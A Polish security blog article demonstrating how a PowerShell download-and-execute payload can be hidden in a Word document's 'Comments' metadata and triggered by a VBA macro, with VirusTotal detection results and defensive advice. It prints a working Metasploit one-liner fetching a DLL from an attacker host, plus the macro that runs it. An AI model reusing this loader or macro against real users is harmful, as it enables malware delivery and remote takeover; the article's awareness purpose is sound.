Menu dostępności

Złośliwy kod w metadanych dokumentu!? Zobacz, jak można go ukryć i wywołać

Czy kiedykolwiek przyszło Ci do głowy, że właściwości dokumentu, takie jak „Firma”, „Tytuł”, czy „Komentarze” mogłyby zawierać złośliwy kod? Czy wiesz, że zawartość metadanych pliku nie jest sprawdzana przez oprogramowanie antywirusowe? W związku z tym jaką masz pewność, że w metadanych plików przechowywanych na dysku lub na serwach w firmie nie ma zaszytego jakiegoś złośliwego kodu?

Na te i na podobne pytania znajdziesz odpowiedź w poniższym artykule. Przeprowadzimy w nim scenariusz takiego ataku i sprawdzimy, jak radzi sobie z tym problemem specjalistyczne oprogramowanie dla bezpieczeństwa.


Metadane – dodatkowe informacje o pliku


Czy pojęcie metadanych jest Ci obce? W milionach plików zapisanych na naszych komputerach i urządzeniach (m.in. pliki tekstowe, dokumenty Office, zdjęcia) znajduje się sporo nieoczywistej informacji. Co więcej, ich odczyt i modyfikacja są często banalnie proste. To właśnie są metadane, czyli dodatkowe informacje pozwalające opisać dokument. Metadane wykorzystywane są między innymi przez programy do klasyfikacji danych, systemy DLP, a także wszelkiego rodzaju indeksery pozwalające szybko wyszukać konkretny plik. Pliki z metadanymi szczególnie szybko indeksują się w Internecie, dlatego ważne jest nimi odpowiednie zarządzanie. W celu dostania się do metadanych wystarczy kliknąć dany plik prawym klawiszem myszy i wybrać opcję „Właściwości” lub otwierając w programie MS Office dokument należy przejść do menu „Plik->Właściwości” lub „Plik -> Informacje”

Właściwości pliku Microsoft Word
Właściwości pliku widziane w programie Microsoft Word

Jak umieścić złośliwy kod w metadanych dokumentu?


Wyobraźmy sobie sytuację, w której w zaawansowanych atrybutach dokumentu zaszyty jest złośliwy kod, który bez problemów może być uruchomiony od środka. Okazuje się, że takie możliwości stwarza nam pakiet Office i przy włączonych makrach możemy uruchomić ładunek przechowywany w metadanych dokumentu. Ciekawostką jest to, że przy tej operacji nie są zapisywane na dysk ani po sieci żadne dodatkowe pliki, więc metoda ta utrudnia jeszcze bardziej prace oprogramowaniu antywirusowemu, które w głównej mierze skupia swoją aktywność do sprawdzania plików zapisywanych na dysk. Jedną z ciekawych zalet metody przechowywania złośliwego kodu w dokumentach jest fakt, że oprogramowanie antywirusowe nie sprawdza zawartości metadanych! Przekonaliśmy się o tym testując na VirusTotal dokument, który zawierał linijkę złośliwego kodu wpisaną w atrybut” Komentarze” dokumentu Metadane.docm, ale o tym poniżej.


Utworzenie złośliwej komendy Powershell


W celu wygenerowania złośliwego skryptu posłużymy się narzędziem Metasploit, który dostarczy nam ładunek w postaci pliku DLL i linię komend Powershell za pośrednictwem serwera SMB. Dla firm, które posiadają zaimplementowane systemy bezpieczeństwa z głęboką inspekcją pakietów (Deep Packet Inspection), moduł umożliwia także dostarczenie ładunku po HTTP i pozwala szyfrować cały ruch za pomocą niestandardowego certyfikatu (HTTPS). Sprawi to, że atak w większej ilości przypadków może stać się jeszcze bardziej skuteczny. Moduł może być łatwo skonfigurowany przy użyciu następujących poleceń:

Opcja „set target 1” umożliwi nam wygenerowanie wersji skryptu w PowerShell z pobraniem ładunku dll z zasobu SMB. Jeśli chcielibyśmy to samo wywołanie uruchomić po HTTPS wówczas należałoby użyć modułu:

exploit/multi/script/web_delivery

Istnieje również możliwość wygenerowania podobnego wywołania pobrania DLL za pomocą wbudowanej w Windows komendy „rundll32.exe” (wtedy opcję „target” należy ustawić na 0). Uruchomienie exploita wygląda następująco:

Linijka złośliwego kodu wygenerowanego z Metasploit’a pobierająca i uruchamiająca ze ścieżki UNC (z uwzględnieniem proxy) bibliotekę dll (ładunek):

powershell.exe -nop -w hidden -c $y=new-object net.webclient; $y.proxy=[Net.WebRequest]::GetSystemWebProxy(); $y.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $y.downloadstring(’\\192.168.1.20\iWQp\kapitanhack.dll’);

Teraz kopiujemy powyższe wywołanie PowerShell i umieszczamy w atrybucie „Komentarze” dokumentu Word.

Komenda zaszyta w metadanych dokumentu

W celu przekonania się jak zareaguje oprogramowanie antywirusowe na powyższy plik sprawdziliśmy na portalu VirusTotal. Poniżej prezentujemy wynik, który wcale nas nie zaskoczył:


Uruchomienie złośliwego kodu z makro dokumentu


Do przeprowadzenia ataku nie pozostało nam nic innego jak utworzenia specjalnego kodu w makro w powyższym dokumencie i poprzez funkcję Shell() uruchomienie powyższego skryptu Powershell’a ukrytego w atrybucie „Komentarze” (ang. Comments):

Kod makro w dokumencie MS Office pozwalający uruchomić skrypt ukryty w metadanych, w atrybucie „Komentarze”:

Sub kapitanhack() Dim x As DocumentProperty For Each x In ActiveDocument.BuiltInDocumentProperties If x.Name = „Comments” Then Shell (p.Value) End If Next End Sub
Po tak przygotowanym dokumencie postanowiliśmy go sprawdzić jeszcze raz na VirusTotal (tym razem z zaszytym makro). Wyniki skanowania przedstawia ekran poniżej.

Ku naszemu zdziwieniu tylko 9 silników na 59 wykrywa nasze makro! Proponujemy tez zwrócić uwagę na to, jakie silniki je wykrywają. Podejrzewamy, że silniki które wykryły makro są wyczulone albo na wykrycie jakichkolwiek makr w dokumencie albo na zawartości w makro polecenia Shell(). Przypominamy, że po wcześniejszym sprawdzeniu dokumentu z samym ładunkiem umieszczonym w atrybucie komentarz tylko 2 skanery uznały dokument za złośliwy!

Na koniec możemy uruchomić makro otwierając dokument Word na stacji Windows 10. Po uruchomieniu makro przez użytkownika, na serwerze nasłuchującym ruch dostajemy otwartą sesję Meterpretera do jego komputera Windows 10. Możemy wykonywać dowolne polecenia.


Podsumowanie


Opisywana w powyższym artykule technika pozwala w łatwy sposób ukryć złośliwe polecenia wewnątrz właściwości dokumentu biurowego Microsoft. Makro, które wyzwala ładunek, nie jest uważane za szkodliwe przez większość z oprogramowań antywirusowych. Martwi nas również fakt, że zawartość pól właściwości dokumentu nie jest sprawdzana przez różnych markowych producentów antywirusów, co postaraliśmy się udowodnić skanując dokument w portalu VirusTotal. Tak więc problem może się pojawić w momencie, gdy użytkownik docelowy zostanie w jakiś sposób przekonany do otwarcia i uruchomienia makra – np. za pomocą jakiejś wymyślnej kampani phishingowej. Jedyną rzeczą, która może zatrzymać ten atak, jest system zapobiegania włamaniom do hosta (sonda HIPS), który usunie połączenie Meterpretera. Istnieją jednak metody, w których możliwe jest ominięcie HIPS przy użyciu certyfikatu i szyfrowania połączenia (pisaliśmy o tym powyżej).

Powyższe ćwiczenie odnieśmy do posiadanych w firmie skanerów i odpowiedzmy sobie sami na pytanie, czy jesteśmy bezpieczni?


Jak się chronić?


Przede wszystkim edukujmy użytkowników, żeby pod żadnym pozorem nie uruchamiali makr w dokumentach, do których nie mają zaufania. Jeśli znajdzie się jakiś dokument w sieci z makrem pod żadnym pozorem nie należy go uruchamiać! Dobrze też jest wyłączyć obsługę makr w dokumentach Office na stacjach roboczych.

Od strony infrastruktury możemy:

  • użyć narzędzi pozwalających przeszukać metadane umieszczonych w sieci plików i sprawdzić je pod kątem wyrażeń zawierających nietypowe ciągi znaków np. skrypt PowerShell., wywołanie pliku exe itp.
  • użyć specjalnych rozwiązań tzw. piaskownicy, w której będziemy mogli bezpiecznie przetestować uruchamiane dokumenty
  • wyposażyć się w rozwiązania wykrywające podejrzane zachowania bazujące na sztucznej inteligencji
  • monitorować wywołanie PowerShell na komputerach a także odpalane na nich komend wbudowanych w system Windows np. Rundll32.exe, mshta.exe, certutil.exe itp., które pozwalają na pobranie ładunku z dowolnego adresu sieciowego
  • zastosować się do porad z artykułów kampanii malware oraz socjotechnika jakie opublikowaliśmy na Kapitanie Hacku.

Polecamy kontakt z firmą Appeal w celu dowiedzenia się na temat szczegółów zabezpieczenia środowiska przed tego typu atakami.


Pozdrawiamy, Zespół Kapitan Hack

Popularne

Nowa luka w Microsoft Teams – lepiej nie być zapraszanym…

Nowa luka w Microsoft Teams – lepiej nie być zapraszanym…

Usługa Microsoft Teams stała się kluczowym narzędziem do komunikacji i współpracy w firmach na całym świecie. Z tego powodu wiele organizacji polega na zabezpieczeniach takich jak Microsoft Defender for Off...
Ważna zmiana w OWASP Top 10

Ważna zmiana w OWASP Top 10

OWASP, czyli Open Worldwide Application Security Project, zaproponowało nowe wydanie swojej klasycznej listy Top 10 ryzyk aplikacyjnych. Wersja z 2025 roku wprowadza kluczowe rozszerzenia dotyczące b...
Jak modele LLM automatyzują cyberprzestępczość

Jak modele LLM automatyzują cyberprzestępczość

Każdy Czytelnik Kapitana Hacka wie, że złośliwe LLM-y ułatwiają mniej doświadczonym cyberprzestępcom przeprowadzanie ataków. Potwierdzają to badacze z Palo Alto Networks, którzy przeanalizowali dwa niedaw...
Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Krótko o narzędziu Bloodhound to narzędzie służące do wizualizacji i analizy powiązań w Active Directory. Dla atakującego jest niezastąpioną pomocą do znajdowania ścieżki ataku na najbardziej c...
Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Odkryto niezwykle niebezpieczną dla użytkowników systemów Windows podatność. Błąd o numerze CVE‑2025‑11001 jest już częściowo wykorzystywany, a dotyczy popularnego programu 7-Zip. Polega na niewłaściwe...